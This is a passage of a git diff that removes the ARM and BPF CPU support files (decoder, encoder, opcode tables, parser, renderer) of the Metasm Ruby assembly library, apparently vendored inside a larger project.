'metasm/cpu/arm/opcodes' -require 'metasm/decode' - -module Metasm -class ARM - # create the bin_mask for a given opcode - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = 0 - op.fields.each { |k, (m, s)| - op.bin_mask |= m << s - } - op.bin_mask = 0xffffffff ^ op.bin_mask - end - - # create the lookaside hash from the first byte of the opcode - def build_bin_lookaside - lookaside = Array.new(256) { [] } - - opcode_list.each { |op| - build_opcode_bin_mask op - - b = (op.bin >> 20) & 0xff - msk = (op.bin_mask >> 20) & 0xff - b &= msk - - for i in b..(b | (255^msk)) - lookaside[i] << op if i & msk == b - end - } - - lookaside - end - - def decode_findopcode(edata) - return if edata.ptr+4 > edata.length - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u32, @endianness) - di.instance_variable_set('@raw', val) - di if di.opcode = @bin_lookaside[(val >> 20) & 0xff].find { |op| - (not op.props[:cond] or - ((val >> @fields_shift[:cond]) & @fields_mask[:cond]) != 0xf) and - (op.bin & op.bin_mask) == (val & op.bin_mask) - } - end - - def disassembler_default_func - df = DecodedFunction.new - df - end - - def decode_instr_op(edata, di) - op = di.opcode - di.instruction.opname = op.name - val = di.instance_variable_get('@raw') - - field_val = lambda { |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - case f - when :i12; Expression.make_signed(r, 12) - when :i24; Expression.make_signed(r, 24) - when :i8_12; ((r >> 4) & 0xf0) | (r & 0xf) - when :stype; [:lsl, :lsr, :asr, :ror][r] - when :u; [:-, :+][r] - else r - end - } - - if op.props[:cond] - cd = %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al][field_val[:cond]] - if cd != 'al' - di.opcode = di.opcode.dup - di.instruction.opname = di.opcode.name.dup - di.instruction.opname[(op.props[:cond_name_off] || di.opcode.name.length), 0] = cd - if di.opcode.props[:stopexec] - di.opcode.props = di.opcode.props.dup - di.opcode.props.delete :stopexec - end - end - end - - op.args.each { |a| - di.instruction.args << case a - when :rd, :rn, :rm; Reg.new field_val[a] - when :rm_rs; Reg.new field_val[:rm], field_val[:stype], Reg.new(field_val[:rs]) - when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti] - when :i12; Expression[field_val[a]] - when :i24; Expression[field_val[a] << 2] - when :i8_r - i = field_val[:i8] - r = field_val[:rotate]*2 - Expression[((i >> r) | (i << (32-r))) & 0xffff_ffff] - when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 - b = Reg.new(field_val[:rn]) - o = case a - when :mem_rn_rm; Reg.new(field_val[:rm]) - when :mem_rn_i8_12; field_val[:i8_12] - when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]) - when :mem_rn_i12; field_val[:i12] - end - Memref.new(b, o, field_val[:u], op.props[:baseincr]) - when :reglist - di.instruction.args.last.updated = true if op.props[:baseincr] - msk = field_val[a] - l = RegList.new((0..15).map { |n| Reg.new(n) if (msk & (1 << n)) > 0 }.compact) - l.usermoderegs = true if op.props[:usermoderegs] - l - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length = 4 - di - end - - def decode_instr_interpret(di, addr) - if di.opcode.args[-1] == :i24 - di.instruction.args[-1] = Expression[di.instruction.args[-1] + addr + 8] - end - di - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def init_backtrace_binding - @backtrace_binding ||= {} - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Reg; arg.symbolic - when Memref; arg.symbolic(di.address) - else arg - end - } - - if binding = backtrace_binding[di.opcode.name] - binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - - end - - def get_xrefs_x(dasm, di) - if di.opcode.props[:setip] - [di.instruction.args.last] - else - # TODO ldr pc, .. - [] - end - end -end -end diff --git a/lib/metasm/metasm/cpu/arm/encode.rb b/lib/metasm/metasm/cpu/arm/encode.rb deleted file mode 100644 index bf641d1088..0000000000 --- a/lib/metasm/metasm/cpu/arm/encode.rb +++ /dev/null @@ -1,92 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/arm/opcodes' -require 'metasm/encode' - -module Metasm -class ARM - def encode_instr_op(program, instr, op) - base = op.bin - set_field = lambda { |f, v| - v = v.reduce if v.kind_of?(Expression) - case f - when :i8_12 - base = Expression[base, :|, [[v, :&, 0xf], :|, [[v, :<<, 4], :&, 0xf00]]] - next - when :stype; v = [:lsl, :lsr, :asr, :ror].index(v) - when :u; v = [:-, :+].index(v) - end - base = Expression[base, :|, [[v, :&, @fields_mask[f]], :<<, @fields_shift[f]]] - } - - val, mask, shift = 0, 0, 0 - - if op.props[:cond] - coff = op.props[:cond_name_off] || op.name.length - cd = instr.opname[coff, 2] - cdi = %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al].index(cd) || 14 # default = al - set_field[:cond, cdi] - end - - op.args.zip(instr.args).each { |sym, arg| - case sym - when :rd, :rs, :rn, :rm; set_field[sym, arg.i] - when :rm_rs - set_field[:rm, arg.i] - set_field[:stype, arg.stype] - set_field[:rs, arg.shift.i] - when :rm_is - set_field[:rm, arg.i] - set_field[:stype, arg.stype] - set_field[:shifti, arg.shift] - when :mem_rn_rm, :mem_rn_rms, :mem_rn_i8_12, :mem_rn_i12 - set_field[:rn, arg.base.i] - case sym - when :mem_rn_rm - set_field[:rm, arg.offset.i] - when :mem_rn_rms - set_field[:rm, arg.offset.i] - set_field[:stype, arg.offset.stype] - set_field[:rs, arg.offset.shift.i] - when :mem_rn_i8_12 - set_field[:i8_12, arg.offset] - when :mem_rn_i12 - set_field[:i12, arg.offset] - end - # TODO set_field[:u] etc - when :reglist - set_field[sym, arg.list.inject(0) { |rl, r| rl | (1 << r.i) }] - when :i8_r - b = arg.reduce & 0xffffffff - r = (0..15).find { - next true if b < 0x100 - b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3) - false - } - raise EncodeError, "Invalid constant" if not r - set_field[:i8, b] - set_field[:rotate, r] - when :i12, :i24 - val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] - end - } - - if op.args[-1] == :i24 - # convert label name for branch to relative offset - label = program.new_label('l_'+op.name) - target = val - target = target.rexpr if target.kind_of?(Expression) and target.op == :+ and not target.lexpr - val = Expression[[target, :-, [label, :+, 8]], :>>, 2] - - EncodedData.new('', :export => { label => 0 }) << - Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) - else - Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) - end - end -end -end diff --git a/lib/metasm/metasm/cpu/arm/main.rb b/lib/metasm/metasm/cpu/arm/main.rb deleted file mode 100644 index d474e6702c..0000000000 --- a/lib/metasm/metasm/cpu/arm/main.rb +++ /dev/null @@ -1,72 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class ARM < CPU - class Reg - class << self - attr_accessor :s_to_i, :i_to_s - end - @i_to_s = %w[r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 sp lr pc] - @s_to_i = { 'wr' => 7, 'sb' => 9, 'sl' => 10, 'fp' => 11, 'ip' => 12, 'sp' => 13, 'lr' => 14, 'pc' => 15 } - 15.times { |i| @s_to_i["r#{i}"] = i } - 4.times { |i| @s_to_i["a#{i+1}"] = i } - 8.times { |i| @s_to_i["v#{i+1}"] = i+4 } - - attr_accessor :i, :stype, :shift, :updated - def initialize(i, stype=:lsl, shift=0) - @i = i - @stype = stype - @shift = shift - end - - def symbolic - r = self.class.i_to_s[@i].to_sym - if @stype == :lsl and @shift == 0 - r - else - r # TODO shift/rotate/... - end - end - end - - class Memref - attr_accessor :base, :offset, :sign, :incr - def initialize(base, offset, sign=:+, incr=nil) - @base, @offset, @sign, @incr = base, offset, sign, incr - end - - def symbolic(len=4, orig=nil) - o = @offset - o = o.symbolic if o.kind_of? Reg - p = Expression[@base.symbolic, @sign, o].reduce - Indirection[p, len, orig] - end - end - - class RegList - attr_accessor :list, :usermoderegs - - def initialize(l=[]) - @list = l - end - end - - def initialize(endianness = :little) - super() - @endianness = endianness - @size = 32 - end - - def init_opcode_list - init_latest - @opcode_list - end -end -end - diff --git a/lib/metasm/metasm/cpu/arm/opcodes.rb b/lib/metasm/metasm/cpu/arm/opcodes.rb deleted file mode 100644 index c535077a7b..0000000000 --- a/lib/metasm/metasm/cpu/arm/opcodes.rb +++ /dev/null @@ -1,323 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/arm/main' - -module Metasm -class ARM - private - - # ARM MODE - - def addop(name, bin, *args) - args << :cond if not args.delete :uncond - - suppl = nil - o = Opcode.new name, bin - args.each { |a| - # Should Be One fields - if a == :sbo16 ; o.bin |= 0b1111 << 16 ; next ; end - if a == :sbo12 ; o.bin |= 0b1111 << 12 ; next ; end - if a == :sbo8 ; o.bin |= 0b1111 << 8 ; next ; end - if a == :sbo0 ; o.bin |= 0b1111 << 0 ; next ; end - - o.args << a if @valid_args[a] - o.props[a] = true if @valid_props[a] - o.props.update a if a.kind_of?(Hash) - # special args -> multiple fields - suppl ||= { :i8_r => [:i8, :rotate], :rm_is => [:rm, :stype, :shifti], - :rm_rs => [:rm, :stype, :rs], :mem_rn_rm => [:rn, :rm, :rsx, :u], - :mem_rn_i8_12 => [:rn, :i8_12, :u], - :mem_rn_rms => [:rn, :rm, :stype, :shifti, :i], - :mem_rn_i12 => [:rn, :i12, :u] - }[a] - } - - args.concat suppl if suppl - - args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] } - - @opcode_list << o - end - - def addop_data_s(name, op, a1, a2, *h) - addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h - addop name, op, a1, a2, :rm_is, *h - addop name, op | (1 << 4), a1, a2, :rm_rs, *h - end - def addop_data(name, op, a1, a2) - addop_data_s name, op << 21, a1, a2 - addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length - end - - def addop_load_puw(name, op, *a) - addop name, op, {:baseincr => :post}, :rd, :u, *a - addop name, op | (1 << 24), :rd, :u, *a - addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a - end - def addop_load_lsh_o(name, op) - addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3} - addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3} - end - def addop_load_lsh - op = 9 << 4 - addop_load_lsh_o 'strh', op | (1 << 5) - addop_load_lsh_o 'ldrd', op | (1 << 6) - addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5) - addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5) - addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6) - addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5) - end - - def addop_load_puwt(name, op, *a) - addop_load_puw name, op, *a - addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a - end - def addop_load_o(name, op, *a) - addop_load_puwt name, op, :mem_rn_i12, *a - addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a - end - def addop_load(name, op) - addop_load_o name, op - addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length - end - - def addop_ldm_go(name, op, *a) - addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a - end - def addop_ldm_w(name, op, *a) - addop_ldm_go name, op, *a # base reg untouched - addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated - end - def addop_ldm_s(name, op) - addop_ldm_w name, op # transfer regs - addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs - end - def addop_ldm_p(name, op) - addop_ldm_s name+'a', op # target memory included - addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr - end - def addop_ldm_u(name, op) - addop_ldm_p name+'d', op # transfer made downward - addop_ldm_p name+'i', op | (1 << 23) # transfer made upward - end - def addop_ldm(name, op) - addop_ldm_u name, op - end - - # ARMv6 instruction set, aka arm7/arm9 - def init_arm_v6 - @opcode_list = [] - - [:baseincr, :cond, :cond_name_off, :usermoderegs, :tothumb, :tojazelle - ].each { |p| @valid_props[p] = true } - - [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, :rm_rs, :rm_is, - :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 - ].each { |p| @valid_args[p] = true } - - @fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf, - :crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf, - :rnx => 0xf, :rdx => 0xf, :rsx => 0xf, - :shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff, - :i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f, - :u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf - - @fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0, - :crn => 16, :crd => 12, :crm => 0, :cpn => 8, - :rnx => 16, :rdx => 12, :rsx => 8, - :shifti => 7, :stype => 5, :rotate => 8, :reglist => 0, - :i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0, - :u => 23, :mask => 16, :sbo => 12, :cond => 28 - - addop_data 'and', 0, :rd, :rn - addop_data 'eor', 1, :rd, :rn - addop_data 'xor', 1, :rd, :rn - addop_data 'sub', 2, :rd, :rn - addop_data 'rsb', 3, :rd, :rn - addop_data 'add', 4, :rd, :rn - addop_data 'adc', 5, :rd, :rn - addop_data 'sbc', 6, :rd, :rn - addop_data 'rsc', 7, :rd, :rn - addop_data_s 'tst', (8 << 21) | (1 << 20), :rdx, :rn - addop_data_s 'teq', (9 << 21) | (1 << 20), :rdx, :rn - addop_data_s 'cmp', (10 << 21) | (1 << 20), :rdx, :rn - addop_data_s 'cmn', (11 << 21) | (1 << 20), :rdx, :rn - addop_data 'orr', 12, :rd, :rn - addop_data 'or', 12, :rd, :rn - addop_data 'mov', 13, :rd, :rnx - addop_data 'bic', 14, :rd, :rn - addop_data 'mvn', 15, :rd, :rnx - - addop 'b', 0b1010 << 24, :setip, :stopexec, :i24 - addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip - addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef - addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :uncond, :i24 - addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm, :sbo16, :sbo12, :sbo8 - addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm, :sbo16, :sbo12, :sbo8 - addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle, :sbo16, :sbo12, :sbo8 - - addop_load 'str', (1 << 26) - addop_load 'ldr', (1 << 26) | (1 << 20) - addop_load_lsh - addop_ldm 'stm', (1 << 27) - addop_ldm 'ldm', (1 << 27) | (1 << 20) - # TODO aliases (http://www.davespace.co.uk/arm/introduction-to-arm/stack.html) - # fd = full descending stmfd/ldmfd = stmdb/ldmia - # ed = empty descending stmed/ldmed = stmda/ldmib - # fa = full ascending stmfa/ldmfa = stmib/ldmda - # ea = empty ascending stmea/ldmea = stmia/ldmdb - - # TODO mrs, [qus]add/sub* - addop 'clz', (0b00010110 << 20) | (0b0001 << 4), :rd, :rm, :sbo16, :sbo8 - addop 'ldrex', (0b00011001 << 20) | (0b1001 << 4), :rd, :rn, :sbo8, :sbo0 - addop 'strex', (0b00011000 << 20) | (0b1001 << 4), :rd, :rm, :rn, :sbo8 - addop 'rev', (0b01101011 << 20) | (0b0011 << 4), :rd, :rm, :sbo16, :sbo8 - addop 'rev16', (0b01101011 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8 - addop 'revsh', (0b01101111 << 20) | (0b1011 << 4), :rd, :rm, :sbo16, :sbo8 - addop 'sel', (0b01101000 << 20) | (0b1011 << 4), :rd, :rn, :rm, :sbo8 - - end - - - - # THUMB2 MODE - - def addop_t(name, bin, *args) - o = Opcode.new name, bin - args.each { |a| - o.args << a if @valid_args[a] - o.props[a] = true if @valid_props[a] - o.props.update a if a.kind_of?(Hash) - } - - args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] } - - @opcode_list_t << o - end - - def init_arm_thumb2 - @opcode_list_t = [] - @valid_props_t = {} - @valid_args_t = {} - @fields_mask_t = {} - @fields_shift_t = {} - - [:i16, :i16_3_8, :i16_rd].each { |p| @valid_props_t[p] = true } - [:i5, :rm, :rn, :rd].each { |p| @valid_args_t[p] = true } - @fields_mask_t.update :i5 => 0x1f, :i3 => 7, :i51 => 0x5f, - :rm => 7, :rn => 7, :rd => 7, :rdn => 7, :rdn8 => 7 - @fields_shift_t.update :i5 => 6, :i3 => 6, :i51 => 3, - :rm => 6, :rn => 3, :rd => 0, :rdn => 0, :rdn8 => 8 - - addop_t 'mov', 0b000_00 << 11, :rd, :rm - addop_t 'lsl', 0b000_00 << 11, :rd, :rm, :i5 - addop_t 'lsr', 0b000_01 << 11, :rd, :rm, :i5 - addop_t 'asr', 0b000_10 << 11, :rd, :rm, :i5 - - addop_t 'add', 0b000_1100 << 9, :rd, :rn, :rm - addop_t 'add', 0b000_1110 << 9, :rd, :rn, :i3 - addop_t 'sub', 0b000_1101 << 9, :rd, :rn, :rm - addop_t 'sub', 0b000_1111 << 9, :rd, :rn, :i3 - - addop_t 'mov', 0b001_00 << 10, :rdn8, :i8 - addop_t 'cmp', 0b001_01 << 10, :rdn8, :i8 - addop_t 'add', 0b001_10 << 10, :rdn8, :i8 - addop_t 'sub', 0b001_11 << 10, :rdn8, :i8 - - addop_t 'and', (0b010000 << 10) | ( 0 << 6), :rdn, :rm - addop_t 'eor', (0b010000 << 10) | ( 1 << 6), :rdn, :rm # xor - addop_t 'lsl', (0b010000 << 10) | ( 2 << 6), :rdn, :rm - addop_t 'lsr', (0b010000 << 10) | ( 3 << 6), :rdn, :rm - addop_t 'asr', (0b010000 << 10) | ( 4 << 6), :rdn, :rm - addop_t 'adc', (0b010000 << 10) | ( 5 << 6), :rdn, :rm - addop_t 'sbc', (0b010000 << 10) | ( 6 << 6), :rdn, :rm - addop_t 'ror', (0b010000 << 10) | ( 7 << 6), :rdn, :rm - addop_t 'tst', (0b010000 << 10) | ( 8 << 6), :rdn, :rm - addop_t 'rsb', (0b010000 << 10) | ( 9 << 6), :rdn, :rm - addop_t 'cmp', (0b010000 << 10) | (10 << 6), :rdn, :rm - addop_t 'cmn', (0b010000 << 10) | (11 << 6), :rdn, :rm - addop_t 'orr', (0b010000 << 10) | (12 << 6), :rdn, :rm # or - addop_t 'mul', (0b010000 << 10) | (13 << 6), :rdn, :rm - addop_t 'bic', (0b010000 << 10) | (14 << 6), :rdn, :rm - addop_t 'mvn', (0b010000 << 10) | (15 << 6), :rdn, :rm - - addop_t 'add', 0b010001_00 << 8, :rdn, :rm, :dn - addop_t 'cmp', 0b010001_01 << 8, :rdn, :rm, :dn - addop_t 'mov', 0b010001_10 << 8, :rdn, :rm, :dn - - addop_t 'bx', 0b010001_110 << 7, :rm - addop_t 'blx', 0b010001_111 << 7, :rm - - addop_t 'ldr', 0b01001 << 11, :rd, :pc_i8 - addop_t 'str', 0b0101_000 << 9, :rd, :rn, :rm - addop_t 'strh', 0b0101_001 << 9, :rd, :rn, :rm - addop_t 'strb', 0b0101_010 << 9, :rd, :rn, :rm - addop_t 'ldrsb', 0b0101_011 << 9, :rd, :rn, :rm - addop_t 'ldr', 0b0101_100 << 9, :rd, :rn, :rm - addop_t 'ldrh', 0b0101_101 << 9, :rd, :rn, :rm - addop_t 'ldrb', 0b0101_110 << 9, :rd, :rn, :rm - addop_t 'ldrsh', 0b0101_111 << 9, :rd, :rn, :rm - - addop_t 'str', 0b01100 << 11, :rd, :rn, :i5 - addop_t 'ldr', 0b01101 << 11, :rd, :rn, :i5 - addop_t 'strb', 0b01110 << 11, :rd, :rn, :i5 - addop_t 'ldrb', 0b01111 << 11, :rd, :rn, :i5 - addop_t 'strh', 0b10000 << 11, :rd, :rn, :i5 - addop_t 'ldrh', 0b10001 << 11, :rd, :rn, :i5 - addop_t 'str', 0b10010 << 11, :rd, :sp_i8 - addop_t 'ldr', 0b10011 << 11, :rd, :sp_i8 - addop_t 'adr', 0b10100 << 11, :rd, :pc, :i8 - addop_t 'add', 0b10101 << 11, :rd, :sp, :i8 - - # 0b1011 misc - addop_t 'add', 0b1011_0000_0 << 7, :sp, :i7 - addop_t 'sub', 0b1011_0000_1 << 7, :sp, :i7 - addop_t 'sxth', 0b1011_0010_00 << 6, :rd, :rn - addop_t 'sxtb', 0b1011_0010_01 << 6, :rd, :rn - addop_t 'uxth', 0b1011_0010_10 << 6, :rd, :rn - addop_t 'uxtb', 0b1011_0010_11 << 6, :rd, :rn - addop_t 'cbz', 0b1011_0001 << 8, :rd, :i51 - addop_t 'cbnz', 0b1011_1001 << 8, :rd, :i51 - addop_t 'push', 0b1011_0100 << 8, :rlist - addop_t 'push', 0b1011_0101 << 8, :rlist - addop_t 'pop', 0b1011_1100 << 8, :rlist - addop_t 'pop', 0b1011_1101 << 8, :rlist - #addop_t 'unpredictable', 0b1011_0110_0100_0000, :i4 - addop_t 'setendle', 0b1011_0110_0101_0000 - addop_t 'setendbe', 0b1011_0110_0101_1000 - addop_t 'cps', 0b1011_0110_0110_0000 - #addop_t 'unpredictable', 0b1011_0110_0110_1000, :msk_0001_0111 - addop_t 'rev', 0b1011_1010_00 << 6, :rd, :rn - addop_t 'rev16', 0b1011_1010_01 << 6, :rd, :rn - addop_t 'revsh', 0b1011_1010_11 << 6, :rd, :rn - addop_t 'bkpt', 0b1011_1110 << 8, :i8 - addop_t 'it', 0b1011_1111 << 8, :itcond, :itmsk - addop_t 'nop', 0b1011_1111_0000_0000 - addop_t 'yield', 0b1011_1111_0000_0001 - addop_t 'wfe', 0b1011_1111_0000_0010 - addop_t 'wfi', 0b1011_1111_0000_0011 - addop_t 'sev', 0b1011_1111_0000_0100 - addop_t 'nop', 0b1011_1111_0000_0000, :i4 - - - addop_t 'stmia', 0b11000 << 11, :rn, :rlist # stmea - addop_t 'ldmia', 0b11001 << 11, :rn, :rlist # ldmfd - addop_t 'undef', 0b1101_1110 << 8, :i8 - addop_t 'svc', 0b1101_1111 << 8, :i8 - addop_t 'b', 0b1101 << 12, :cond, :i8 - addop_t 'b', 0b11100 << 11, :i11 - - # thumb-32 - end - - def init_arm_v6_thumb2 - init_arm_v6 - init_arm_thumb2 - end - alias init_latest init_arm_v6_thumb2 -end -end diff --git a/lib/metasm/metasm/cpu/arm/parse.rb b/lib/metasm/metasm/cpu/arm/parse.rb deleted file mode 100644 index 2a1bdfe44c..0000000000 --- a/lib/metasm/metasm/cpu/arm/parse.rb +++ /dev/null @@ -1,142 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/arm/opcodes' -require 'metasm/parse' - -module Metasm -class ARM - def opcode_list_byname - @opcode_list_byname ||= opcode_list.inject({}) { |h, o| - (h[o.name] ||= []) << o - if o.props[:cond] - coff = o.props[:cond_name_off] || o.name.length - %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al].each { |cd| - n = o.name.dup - n[coff, 0] = cd - (h[n] ||= []) << o - } - end - h - } - end - - def parse_arg_valid?(op, sym, arg) - case sym - when :rd, :rs, :rn, :rm; arg.kind_of?(Reg) and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr]) - when :rm_rs; arg.kind_of?(Reg) and arg.shift.kind_of?(Reg) - when :rm_is; arg.kind_of?(Reg) and arg.shift.kind_of?(Integer) - when :i12, :i24, :i8_12; arg.kind_of?(Expression) - when :i8_r - if arg.kind_of?(Expression) - b = arg.reduce - !b.kind_of?(Integer) or (0..15).find { - b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3) - b < 0x100 } - end - when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 - os = case sym - when :mem_rn_rm; :rm - when :mem_rn_i8_12; :i8_12 - when :mem_rn_rms; :rm_rs - when :mem_rn_i12; :i12 - end - arg.kind_of?(Memref) and parse_arg_valid?(op, os, arg.offset) - when :reglist; arg.kind_of?(RegList) - end - # TODO check flags on reglist, check int values - end - - def parse_argument(lexer) - raise lexer, "unexpected EOS" if not lexer.nexttok - if Reg.s_to_i[lexer.nexttok.raw] - arg = Reg.new Reg.s_to_i[lexer.readtok.raw] - lexer.skip_space - case lexer.nexttok.raw.downcase - when 'lsl', 'lsr', 'asr', 'ror' - arg.stype = lexer.readtok.raw.downcase.to_sym - lexer.skip_space - if Reg.s_to_i[lexer.nexttok.raw] - arg.shift = Reg.new Reg.s_to_i[lexer.readtok.raw] - else - arg.shift = Expression.parse(lexer).reduce - end - when 'rrx' - lexer.readtok - arg.stype = :ror - when '!' - lexer.readtok - arg.updated = true - end if lexer.nexttok - elsif lexer.nexttok.raw == '{' - lexer.readtok - arg = RegList.new - loop do - lexer.skip_space - raise "unterminated reglist" if lexer.eos? - if Reg.s_to_i[lexer.nexttok.raw] - arg.list << Reg.new(Reg.s_to_i[lexer.readtok.raw]) - lexer.skip_space - raise "unterminated reglist" if lexer.eos? - end - case lexer.nexttok.raw - when ','; lexer.readtok - when '-' - lexer.readtok - lexer.skip_space - raise "unterminated reglist" if lexer.eos? - if not r = Reg.s_to_i[lexer.nexttok.raw] - raise lexer, "reglist parse error: invalid range" - end - lexer.readtok - (arg.list.last.i+1..r).each { |v| - arg.list << Reg.new(v) - } - when '}'; lexer.readtok ; break - else raise lexer, "reglist parse error: ',' or '}' expected, got #{lexer.nexttok.raw.inspect}" - end - end - if lexer.nexttok and lexer.nexttok.raw == '^' - lexer.readtok - arg.usermoderegs = true - end - elsif lexer.nexttok.raw == '[' - lexer.readtok - raise "unexpected EOS" if lexer.eos? - if not base = Reg.s_to_i[lexer.nexttok.raw] - raise lexer, 'invalid mem base (reg expected)' - end - base = Reg.new Reg.s_to_i[lexer.readtok.raw] - raise "unexpected EOS" if lexer.eos? - if lexer.nexttok.raw == ']' - lexer.readtok - #closed = true - end - if !lexer.nexttok or lexer.nexttok.raw != ',' - raise lexer, 'mem off expected' - end - lexer.readtok - off = parse_argument(lexer) - if not off.kind_of?(Expression) and not off.kind_of?(Reg) - raise lexer, 'invalid mem off (reg/imm expected)' - end - case lexer.nexttok and lexer.nexttok.raw - when ']' - when ',' - end - lexer.readtok - arg = Memref.new(base, off) - if lexer.nexttok and lexer.nexttok.raw == '!' - lexer.readtok - arg.incr = :pre # TODO :post - end - else - arg = Expression.parse lexer - end - arg - end -end -end diff --git a/lib/metasm/metasm/cpu/arm/render.rb b/lib/metasm/metasm/cpu/arm/render.rb deleted file mode 100644 index a39e808752..0000000000 --- a/lib/metasm/metasm/cpu/arm/render.rb +++ /dev/null @@ -1,55 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/render' -require 'metasm/cpu/arm/opcodes' - -module Metasm -class ARM - class Reg - include Renderable - def render - r = self.class.i_to_s[@i] - r += '!' if updated - if @stype == :lsl and @shift == 0 - [r] - elsif @stype == :ror and @shift == 0 - ["#{r} RRX"] - else - case s = @shift - when Integer; s = Expression[s == 0 ? 32 : s] # lsl and ror already accounted for - when Reg; s = self.class.i_to_s[s.i] - end - ["#{r} #{@stype.to_s.upcase} #{s}"] - end - end - end - - class Memref - include Renderable - def render - o = @offset - o = Expression[o] if o.kind_of? Integer - case @incr - when nil; ['[', @base, ', ', o, ']'] - when :pre; ['[', @base, ', ', o, ']!'] - when :post; ['[', @base, '], ', o] - end - end - end - - class RegList - include Renderable - def render - r = ['{'] - @list.each { |l| r << l << ', ' } - r[-1] = '}' - r << '^' if usermoderegs - r - end - end -end -end - diff --git a/lib/metasm/metasm/cpu/bpf.rb b/lib/metasm/metasm/cpu/bpf.rb deleted file mode 100644 index 58a22abf0c..0000000000 --- a/lib/metasm/metasm/cpu/bpf.rb +++ /dev/null @@ -1,9 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/bpf/decode' -require 'metasm/cpu/bpf/render' diff --git a/lib/metasm/metasm/cpu/bpf/decode.rb b/lib/metasm/metasm/cpu/bpf/decode.rb deleted file mode 100644 index 30451389fc..0000000000 --- a/lib/metasm/metasm/cpu/bpf/decode.rb +++ /dev/null @@ -1,142 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see 